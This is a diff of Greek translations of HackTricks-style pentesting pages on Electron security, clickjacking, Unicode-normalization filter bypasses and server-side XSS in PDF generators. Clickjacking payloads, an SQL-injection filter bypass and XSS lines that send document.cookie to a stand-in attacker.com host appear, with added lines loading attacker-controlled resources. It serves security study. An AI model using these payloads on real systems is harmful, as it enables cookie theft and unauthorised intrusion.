|
||||
> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που **απαιτεί να είναι ενεργοποιημένο το NodeIntegration** στη διαδικασία renderer, το οποίο είναι **μεγάλος κίνδυνος ασφαλείας**.
|
||||
|
||||
Από το Electron 14, το `remote` module του Electron μπορεί να ενεργοποιηθεί σε αρκετά βήματα λόγω λόγων ασφαλείας και απόδοσης, είναι **συνιστώμενο να μην το χρησιμοποιείτε**.
|
||||
Από την έκδοση 14 του Electron, το `remote` module του Electron μπορεί να ενεργοποιηθεί σε αρκετά βήματα, καθώς για λόγους ασφαλείας και απόδοσης **συνιστάται να μην το χρησιμοποιείτε**.
|
||||
|
||||
Για να το ενεργοποιήσετε, θα πρέπει πρώτα να **το ενεργοποιήσετε στη κύρια διαδικασία**:
|
||||
```javascript
|
||||
@ -291,7 +316,7 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Τότε, η διαδικασία απόδοσης μπορεί να εισάγει αντικείμενα από το module όπως:
|
||||
Στη συνέχεια, η διαδικασία απόδοσης μπορεί να εισάγει αντικείμενα από το module όπως:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
@ -304,9 +329,9 @@ import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Καταχωρεί** το τρέχον εκτελέσιμο ως τον **προεπιλεγμένο χειριστή** για έναν καθορισμένο **πρωτόκολλο**. Μπορείτε να παρέχετε μια **προσαρμοσμένη διαδρομή** και **παραμέτρους** αν χρειαστεί.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Προσθέτει** εργασίες στην **κατηγορία Εργασιών** στη **Λίστα Γρήγορων Συνδέσμων** (σε Windows). Κάθε εργασία μπορεί να ελέγξει πώς εκκινείται η εφαρμογή ή ποιες **παράμετροι** περνιούνται.
|
||||
- **Προσθέτει** εργασίες στην **κατηγορία Εργασιών** στη **Λίστα Γρήγορων Συνδέσμων** (σε Windows). Κάθε εργασία μπορεί να ελέγξει πώς εκκινείται η εφαρμογή ή ποιες **παράμετροι** περνούν.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Εισάγει** ένα **πιστοποιητικό PKCS#12** στο **κατάστημα πιστοποιητικών** του συστήματος (μόνο Linux). Ένα **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
|
||||
- **Εισάγει** ένα **πιστοποιητικό PKCS#12** στο **κατάστημα πιστοποιητικών** του συστήματος (μόνο Linux). Ένας **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Μετακινεί** την εφαρμογή στον **φάκελο Εφαρμογών** (σε macOS). Βοηθά να διασφαλιστεί μια **τυπική εγκατάσταση** για τους χρήστες Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
@ -348,7 +373,7 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **setUserDefault** μπορεί να **τροποποιήσει** αυτές τις προτιμήσεις, επηρεάζοντας ενδεχομένως τη **διαμόρφωση** μιας εφαρμογής.
|
||||
|
||||
* Σε **παλαιότερες εκδόσεις Electron** (πριν από v8.3.0), μόνο η **τυπική σουίτα** του NSUserDefaults ήταν **προσβάσιμη**.
|
||||
* Σε **παλαιότερες εκδόσεις Electron** (πριν από την v8.3.0), μόνο η **τυπική σουίτα** του NSUserDefaults ήταν **προσβάσιμη**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
@ -358,9 +383,9 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Πολιτική Ασφαλείας Περιεχομένου (CSP)** για να **αποτρέπουν επιθέσεις XSS**. Η **CSP** είναι ένα **πρότυπο ασφαλείας** που βοηθά να **αποτραπεί** η **εκτέλεση** **μη αξιόπιστου κώδικα** στον περιηγητή.
|
||||
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Πολιτική Ασφαλείας Περιεχομένου (CSP)** για να **αποτρέπουν επιθέσεις XSS**. Η **CSP** είναι ένα **πρότυπο ασφαλείας** που βοηθά στην **αποτροπή** της **εκτέλεσης** **μη αξιόπιστου κώδικα** στον περιηγητή.
|
||||
|
||||
Συνήθως **ρυθμίζεται** στο **`main.js`** αρχείο ή στο **`index.html`** πρότυπο με την CSP μέσα σε μια **meta tag**.
|
||||
Συνήθως **ρυθμίζεται** στο αρχείο **`main.js`** ή στο πρότυπο **`index.html`** με την CSP μέσα σε μια **meta tag**.
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
@ -368,12 +393,13 @@ console.log('Recent Places:', recentPlaces);
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για την αναγνώριση κακών ρυθμίσεων και προτύπων ασφαλείας σε εφαρμογές βασισμένες σε Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα ανοιχτού κώδικα plugin VS Code για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για έλεγχο ευάλωτων τρίτων βιβλιοθηκών
|
||||
- [**Electro.ng**](https://electro.ng/): Πρέπει να το αγοράσετε
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για να ελέγξετε για ευάλωτες βιβλιοθήκες τρίτων.
|
||||
- [**Electro.ng**](https://electro.ng/): Πρέπει να το αγοράσετε.
|
||||
|
||||
## Labs
|
||||
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Τι είναι το Clickjacking
|
||||
|
||||
Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** μιας ιστοσελίδας που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων.
|
||||
Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** μιας ιστοσελίδας που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, η ανακατεύθυνση σε κακόβουλες ιστοσελίδες, η παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων.
|
||||
|
||||
### Τέχνασμα προεγκατάστασης φορμών
|
||||
|
||||
Μερικές φορές είναι δυνατόν να **συμπληρωθεί η τιμή των πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το payload clickjacking ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
|
||||
Μερικές φορές είναι δυνατόν να **συμπληρώσετε την τιμή πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το payload clickjacking ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
|
||||
|
||||
### Συμπλήρωση φόρμας με Drag\&Drop
|
||||
|
||||
Αν χρειάζεστε τον χρήστη να **συμπληρώσει μια φόρμα** αλλά δεν θέλετε να του ζητήσετε άμεσα να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email ή συγκεκριμένο κωδικό που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **Drag\&Drop** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Αν χρειάζεστε τον χρήστη να **συμπληρώσει μια φόρμα** αλλά δεν θέλετε να του ζητήσετε άμεσα να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και ή συγκεκριμένο κωδικό που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **Drag\&Drop** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Βασικό Payload
|
||||
```css
|
||||
@ -34,7 +34,7 @@ z-index: 1;
|
||||
<div>Click me</div>
|
||||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||||
```
|
||||
### Πολυδιάστατο Payload
|
||||
### Πολυβήματη Φορτωτική
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
@ -91,7 +91,7 @@ background: #F00;
|
||||
|
||||
Αν έχετε εντοπίσει μια **επίθεση XSS που απαιτεί από τον χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη σε clickjacking**, μπορείτε να το εκμεταλλευτείτε για να παραπλανήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
|
||||
Παράδειγμα:\
|
||||
Βρήκατε μια **self XSS** σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ρυθμίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για να ρυθμίσετε αυτές τις λεπτομέρειες είναι **ευάλωτη** σε **Clickjacking** και μπορείτε να **προκαταλάβετε** τη **φόρμα** με τις παραμέτρους GET.\
|
||||
Βρήκατε μια **self XSS** σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για να ορίσετε αυτές τις λεπτομέρειες είναι **ευάλωτη** σε **Clickjacking** και μπορείτε να **προκαταλάβετε** τη **φόρμα** με τις παραμέτρους GET.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια **επίθεση Clickjacking** σε αυτή τη σελίδα **προκαταβάλλοντας** τη **φόρμα** με το **XSS payload** και **παραπλανώντας** τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβληθεί** και οι τιμές τροποποιηθούν, ο **χρήστης θα εκτελέσει το XSS**.
|
||||
|
||||
### DoubleClickjacking
|
||||
@ -100,8 +100,10 @@ background: #F00;
|
||||
|
||||
Ένα παράδειγμα μπορεί να δει κανείς σε αυτό το βίντεο: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
Ένα παράδειγμα κώδικα μπορεί να βρεθεί [σε αυτή τη σελίδα](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η τεχνική επιτρέπει να παραπλανηθεί ο χρήστης να κάνει κλικ σε 1 σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία κατά του clickjacking. Έτσι, ο επιτιθέμενος πρέπει να βρει **ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως οι προτροπές OAuth που αποδέχονται άδειες**.
|
||||
> Αυτή η τεχνική επιτρέπει να παραπλανηθεί ο χρήστης να κάνει κλικ σε 1 σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία κατά του clickjacking. Έτσι, ο επιτιθέμενος πρέπει να βρει **ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως τα prompts OAuth που αποδέχονται άδειες**.
|
||||
|
||||
## Strategies to Mitigate Clickjacking
|
||||
|
||||
@ -117,16 +119,16 @@ background: #F00;
|
||||
Ωστόσο, αυτά τα σενάρια καταστροφής πλαισίων μπορεί να παρακαμφθούν:
|
||||
|
||||
- **Ρυθμίσεις Ασφαλείας Περιηγητών:** Ορισμένοι περιηγητές μπορεί να αποκλείσουν αυτά τα σενάρια με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
|
||||
- **HTML5 iframe `sandbox` Attribute:** Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα σενάρια καταστροφής πλαισίων ρυθμίζοντας το `sandbox` attribute με τιμές `allow-forms` ή `allow-scripts` χωρίς `allow-top-navigation`. Αυτό αποτρέπει το iframe από το να επαληθεύσει αν είναι το πάνω παράθυρο, π.χ.,
|
||||
- **HTML5 iframe `sandbox` Attribute:** Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα σενάρια καταστροφής πλαισίων ορίζοντας το `sandbox` attribute με τιμές `allow-forms` ή `allow-scripts` χωρίς `allow-top-navigation`. Αυτό αποτρέπει το iframe από το να επαληθεύσει αν είναι το πάνω παράθυρο, π.χ.,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
Οι τιμές `allow-forms` και `allow-scripts` επιτρέπουν ενέργειες μέσα στο iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα της στοχευμένης ιστοσελίδας, μπορεί να είναι απαραίτητες επιπλέον άδειες όπως `allow-same-origin` και `allow-modals`, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα κονσόλας του προγράμματος περιήγησης μπορούν να καθοδηγήσουν ποιες άδειες να επιτραπούν.
|
||||
The `allow-forms` και `allow-scripts` τιμές επιτρέπουν ενέργειες μέσα στο iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα της στοχευμένης ιστοσελίδας, μπορεί να είναι απαραίτητες επιπλέον άδειες όπως `allow-same-origin` και `allow-modals`, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα κονσόλας του προγράμματος περιήγησης μπορούν να καθοδηγήσουν ποιες άδειες να επιτραπούν.
|
||||
|
||||
### Αμυντικές Τεχνικές Server-Side
|
||||
### Άμυνες Από Διακομιστή
|
||||
|
||||
#### X-Frame-Options
|
||||
|
||||
@ -139,7 +141,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
#### Οδηγία frame-ancestors της Πολιτικής Ασφαλείας Περιεχομένου (CSP)
|
||||
|
||||
Η **οδηγία `frame-ancestors` στην CSP** είναι η προτεινόμενη μέθοδος για την προστασία από Clickjacking:
|
||||
Η **`frame-ancestors` οδηγία στην CSP** είναι η προτεινόμενη μέθοδος για την προστασία από Clickjacking:
|
||||
|
||||
- `frame-ancestors 'none'` - Παρόμοιο με `X-Frame-Options: deny`.
|
||||
- `frame-ancestors 'self'` - Παρόμοιο με `X-Frame-Options: sameorigin`.
|
||||
@ -181,7 +183,7 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
#### Σενάρια JavaScript για Σπάσιμο Πλαισίων
|
||||
|
||||
Αν και δεν είναι εντελώς αδιάβλητα, τα σενάρια σπασίματος πλαισίων που βασίζονται σε JavaScript μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
|
||||
Αν και δεν είναι εντελώς αδιάβλητα, τα σενάρια βασισμένα σε JavaScript για σπάσιμο πλαισίων μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
|
||||
```javascript
|
||||
if (top !== self) {
|
||||
top.location = self.location
|
||||
|
@ -8,16 +8,16 @@
|
||||
|
||||
Η κανονικοποίηση Unicode είναι μια διαδικασία που διασφαλίζει ότι διαφορετικές δυαδικές αναπαραστάσεις χαρακτήρων είναι τυποποιημένες στην ίδια δυαδική τιμή. Αυτή η διαδικασία είναι κρίσιμη για την επεξεργασία συμβολοσειρών στον προγραμματισμό και την επεξεργασία δεδομένων. Το πρότυπο Unicode ορίζει δύο τύπους ισοδυναμίας χαρακτήρων:
|
||||
|
||||
1. **Κανονική Ισοδυναμία**: Οι χαρακτήρες θεωρούνται κανονικά ισοδύναμοι αν έχουν την ίδια εμφάνιση και σημασία όταν εκτυπώνονται ή εμφανίζονται.
|
||||
1. **Κανονική Ισοδυναμία**: Οι χαρακτήρες θεωρούνται κανονικά ισοδύναμοι εάν έχουν την ίδια εμφάνιση και σημασία όταν εκτυπώνονται ή εμφανίζονται.
|
||||
2. **Ισοδυναμία Συμβατότητας**: Μια πιο αδύναμη μορφή ισοδυναμίας όπου οι χαρακτήρες μπορεί να αντιπροσωπεύουν τον ίδιο αφηρημένο χαρακτήρα αλλά μπορεί να εμφανίζονται διαφορετικά.
|
||||
|
||||
Υπάρχουν **τέσσερις αλγόριθμοι κανονικοποίησης Unicode**: NFC, NFD, NFKC και NFKD. Κάθε αλγόριθμος χρησιμοποιεί τεχνικές κανονικοποίησης κανονικής και συμβατότητας διαφορετικά. Για μια πιο εις βάθος κατανόηση, μπορείτε να εξερευνήσετε αυτές τις τεχνικές στο [Unicode.org](https://unicode.org/).
|
||||
Υπάρχουν **τέσσερις αλγόριθμοι κανονικοποίησης Unicode**: NFC, NFD, NFKC και NFKD. Κάθε αλγόριθμος χρησιμοποιεί τεχνικές κανονικοποίησης κανονικών και συμβατών χαρακτήρων διαφορετικά. Για μια πιο εις βάθος κατανόηση, μπορείτε να εξερευνήσετε αυτές τις τεχνικές στο [Unicode.org](https://unicode.org/).
|
||||
|
||||
### Κύρια Σημεία σχετικά με την Κωδικοποίηση Unicode
|
||||
|
||||
Η κατανόηση της κωδικοποίησης Unicode είναι κρίσιμη, ειδικά όταν ασχολείστε με ζητήματα διαλειτουργικότητας μεταξύ διαφορετικών συστημάτων ή γλωσσών. Ακολουθούν τα κύρια σημεία:
|
||||
|
||||
- **Κωδικοί Σημείων και Χαρακτήρες**: Στο Unicode, κάθε χαρακτήρας ή σύμβολο ανατίθεται μια αριθμητική τιμή γνωστή ως "κωδικός σημείου".
|
||||
- **Κωδικοί Σημείων και Χαρακτήρες**: Στο Unicode, κάθε χαρακτήρας ή σύμβολο έχει ανατεθεί μια αριθμητική τιμή που ονομάζεται "κωδικός σημείου".
|
||||
- **Αναπαράσταση Bytes**: Ο κωδικός σημείου (ή χαρακτήρας) αναπαρίσταται από ένα ή περισσότερα bytes στη μνήμη. Για παράδειγμα, οι χαρακτήρες LATIN-1 (συνηθισμένοι σε αγγλόφωνες χώρες) αναπαρίστανται χρησιμοποιώντας ένα byte. Ωστόσο, γλώσσες με μεγαλύτερο σύνολο χαρακτήρων χρειάζονται περισσότερα bytes για την αναπαράσταση.
|
||||
- **Κωδικοποίηση**: Αυτός ο όρος αναφέρεται στο πώς οι χαρακτήρες μετατρέπονται σε μια σειρά bytes. Το UTF-8 είναι ένα διαδεδομένο πρότυπο κωδικοποίησης όπου οι χαρακτήρες ASCII αναπαρίστανται χρησιμοποιώντας ένα byte, και έως τέσσερα bytes για άλλους χαρακτήρες.
|
||||
- **Επεξεργασία Δεδομένων**: Τα συστήματα που επεξεργάζονται δεδομένα πρέπει να είναι ενήμερα για την κωδικοποίηση που χρησιμοποιείται για να μετατρέψουν σωστά τη ροή byte σε χαρακτήρες.
|
||||
@ -41,9 +41,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### **Παράκαμψη φίλτρου SQL Injection**
|
||||
|
||||
Φανταστείτε μια ιστοσελίδα που χρησιμοποιεί τον χαρακτήρα `'` για να δημιουργήσει SQL ερωτήματα με την είσοδο του χρήστη. Αυτή η ιστοσελίδα, ως μέτρο ασφαλείας, **διαγράφει** όλες τις εμφανίσεις του χαρακτήρα **`'`** από την είσοδο του χρήστη, αλλά **μετά από αυτή τη διαγραφή** και **πριν από τη δημιουργία** του ερωτήματος, **κανονικοποιεί** χρησιμοποιώντας **Unicode** την είσοδο του χρήστη.
|
||||
Φανταστείτε μια ιστοσελίδα που χρησιμοποιεί τον χαρακτήρα `'` για να δημιουργήσει SQL ερωτήματα με την είσοδο του χρήστη. Αυτή η ιστοσελίδα, ως μέτρο ασφαλείας, **διαγράφει** όλες τις εμφανίσεις του χαρακτήρα **`'`** από την είσοδο του χρήστη, αλλά **μετά από αυτή τη διαγραφή** και **πριν τη δημιουργία** του ερωτήματος, **κανονικοποιεί** χρησιμοποιώντας **Unicode** την είσοδο του χρήστη.
|
||||
|
||||
Έτσι, ένας κακόβουλος χρήστης θα μπορούσε να εισάγει έναν διαφορετικό χαρακτήρα Unicode ισοδύναμο με `' (0x27)` όπως `%ef%bc%87`, όταν η είσοδος κανονικοποιηθεί, δημιουργείται ένα μονό απόσπασμα και εμφανίζεται μια **ευπάθεια SQLInjection**:
|
||||
Έτσι, ένας κακόβουλος χρήστης θα μπορούσε να εισάγει έναν διαφορετικό χαρακτήρα Unicode ισοδύναμο με `' (0x27)` όπως το `%ef%bc%87`, όταν η είσοδος κανονικοποιηθεί, δημιουργείται ένα μονό απόσπασμα και εμφανίζεται μια **ευπάθεια SQLInjection**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -81,11 +81,11 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε έναν από τους παρακάτω χαρακτήρες για να παραπλανήσετε την εφαρμογή ιστού και να εκμεταλλευτείτε ένα XSS:
|
||||
Μπορείτε να χρησιμοποιήσετε έναν από τους παρακάτω χαρακτήρες για να παραπλανήσετε την εφαρμογή ιστού και να εκμεταλλευτείτε μια XSS:
|
||||
|
||||
 (2).png>)
|
||||
|
||||
Σημειώστε ότι για παράδειγμα ο πρώτος Unicode χαρακτήρας που προτάθηκε μπορεί να σταλεί ως: `%e2%89%ae` ή ως `%u226e`
|
||||
Σημειώστε ότι για παράδειγμα ο πρώτος Unicode χαρακτήρας που προτείνεται μπορεί να σταλεί ως: `%e2%89%ae` ή ως `%u226e`
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
@ -93,12 +93,22 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
|
||||
Όταν το backend **ελέγχει την είσοδο του χρήστη με ένα regex**, μπορεί να είναι δυνατόν η **είσοδος** να είναι **κανονικοποιημένη** για το **regex** αλλά **όχι** για το πού χρησιμοποιείται. Για παράδειγμα, σε μια Open Redirect ή SSRF το regex μπορεί να **κανονικοποιεί το αποσταλμένο UR**L αλλά στη συνέχεια να **το προσπελάζει όπως είναι**.
|
||||
|
||||
Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* επιτρέπει να **δημιουργήσετε παραλλαγές της εισόδου** για να fuzz το backend. Για περισσότερες πληροφορίες ελέγξτε το **github** και αυτή την [**ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* επιτρέπει να **δημιουργήσετε παραλλαγές της εισόδου** για να fuzz το backend. Για περισσότερες πληροφορίες, ελέγξτε το **github** και αυτή την [**ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Unicode Overflow
|
||||
|
||||
Από αυτό το [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), η μέγιστη τιμή ενός byte είναι 255, αν ο διακομιστής είναι ευάλωτος, μπορεί να κατασκευαστεί μια υπερχείλιση για να παραχθεί ένας συγκεκριμένος και απροσδόκητος ASCII χαρακτήρας. Για παράδειγμα, οι παρακάτω χαρακτήρες θα μετατραπούν σε `A`:
|
||||
|
||||
- 0x4e41
|
||||
- 0x4f41
|
||||
- 0x5041
|
||||
- 0x5141
|
||||
|
||||
## References
|
||||
|
||||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
||||
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -10,11 +10,11 @@
|
||||
Παρακαλώ, σημειώστε ότι οι ετικέτες `<script></script>` δεν λειτουργούν πάντα, οπότε θα χρειαστείτε μια διαφορετική μέθοδο για να εκτελέσετε JS (για παράδειγμα, καταχρώντας το `<img` ).\
|
||||
Επίσης, σημειώστε ότι σε μια κανονική εκμετάλλευση θα είστε **σε θέση να δείτε/κατεβάσετε το δημιουργημένο pdf**, οπότε θα μπορείτε να δείτε τα πάντα που **γράφετε μέσω JS** (χρησιμοποιώντας `document.write()` για παράδειγμα). Αλλά, αν **δεν μπορείτε να δείτε** το δημιουργημένο PDF, πιθανότατα θα χρειαστεί να **εξάγετε τις πληροφορίες κάνοντας web request σε εσάς** (Blind).
|
||||
|
||||
### Δημοφιλή εργαλεία δημιουργίας PDF
|
||||
### Popular PDF generation
|
||||
|
||||
- **wkhtmltopdf** είναι γνωστό για την ικανότητά του να μετατρέπει HTML και CSS σε έγγραφα PDF, χρησιμοποιώντας τη μηχανή απόδοσης WebKit. Αυτό το εργαλείο είναι διαθέσιμο ως ανοιχτού κώδικα εργαλείο γραμμής εντολών, καθιστώντας το προσβάσιμο για μια ευρεία γκάμα εφαρμογών.
|
||||
- **wkhtmltopdf** είναι γνωστό για την ικανότητά του να μετατρέπει HTML και CSS σε PDF έγγραφα, χρησιμοποιώντας την μηχανή απόδοσης WebKit. Αυτό το εργαλείο είναι διαθέσιμο ως ανοιχτού κώδικα εργαλείο γραμμής εντολών, καθιστώντας το προσβάσιμο για μια ευρεία γκάμα εφαρμογών.
|
||||
- **TCPDF** προσφέρει μια ισχυρή λύση εντός του οικοσυστήματος PHP για τη δημιουργία PDF. Είναι ικανό να χειρίζεται εικόνες, γραφικά και κρυπτογράφηση, επιδεικνύοντας την ευελιξία του για τη δημιουργία σύνθετων εγγράφων.
|
||||
- Για όσους εργάζονται σε περιβάλλον Node.js, το **PDFKit** παρουσιάζει μια βιώσιμη επιλογή. Επιτρέπει τη δημιουργία εγγράφων PDF απευθείας από HTML και CSS, παρέχοντας μια γέφυρα μεταξύ του διαδικτυακού περιεχομένου και των εκτυπώσιμων μορφών.
|
||||
- Για όσους εργάζονται σε περιβάλλον Node.js, το **PDFKit** παρουσιάζει μια βιώσιμη επιλογή. Επιτρέπει τη δημιουργία PDF εγγράφων απευθείας από HTML και CSS, παρέχοντας μια γέφυρα μεταξύ του διαδικτυακού περιεχομένου και των εκτυπώσιμων μορφών.
|
||||
- Οι προγραμματιστές Java μπορεί να προτιμούν το **iText**, μια βιβλιοθήκη που διευκολύνει όχι μόνο τη δημιουργία PDF αλλά υποστηρίζει επίσης προηγμένα χαρακτηριστικά όπως ψηφιακές υπογραφές και συμπλήρωση φορμών. Το εκτενές σύνολο χαρακτηριστικών του το καθιστά κατάλληλο για τη δημιουργία ασφαλών και διαδραστικών εγγράφων.
|
||||
- **FPDF** είναι μια άλλη βιβλιοθήκη PHP, διακριτή για την απλότητα και την ευχρηστία της. Είναι σχεδιασμένη για προγραμματιστές που αναζητούν μια απλή προσέγγιση στη δημιουργία PDF, χωρίς την ανάγκη εκτενών χαρακτηριστικών.
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
|
||||
### Discovery
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<!-- Basic discovery, Write something-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||||
@ -32,6 +32,22 @@
|
||||
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||||
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||||
<link rel=attachment href="http://attacker.com">
|
||||
|
||||
<!-- Using base HTML tag -->
|
||||
<base href="http://attacker.com" />
|
||||
|
||||
<!-- Loading external stylesheet -->
|
||||
<link rel="stylesheet" src="http://attacker.com" />
|
||||
|
||||
<!-- Meta-tag to auto-refresh page -->
|
||||
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
||||
|
||||
<!-- Loading external components -->
|
||||
<input type="image" src="http://attacker.com" />
|
||||
<video src="http://attacker.com" />
|
||||
<audio src="http://attacker.com" />
|
||||
<audio><source src="http://attacker.com"/></audio>
|
||||
<svg src="http://attacker.com" />
|
||||
```
|
||||
### SVG
|
||||
|
||||
@ -71,7 +87,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
```
|
||||
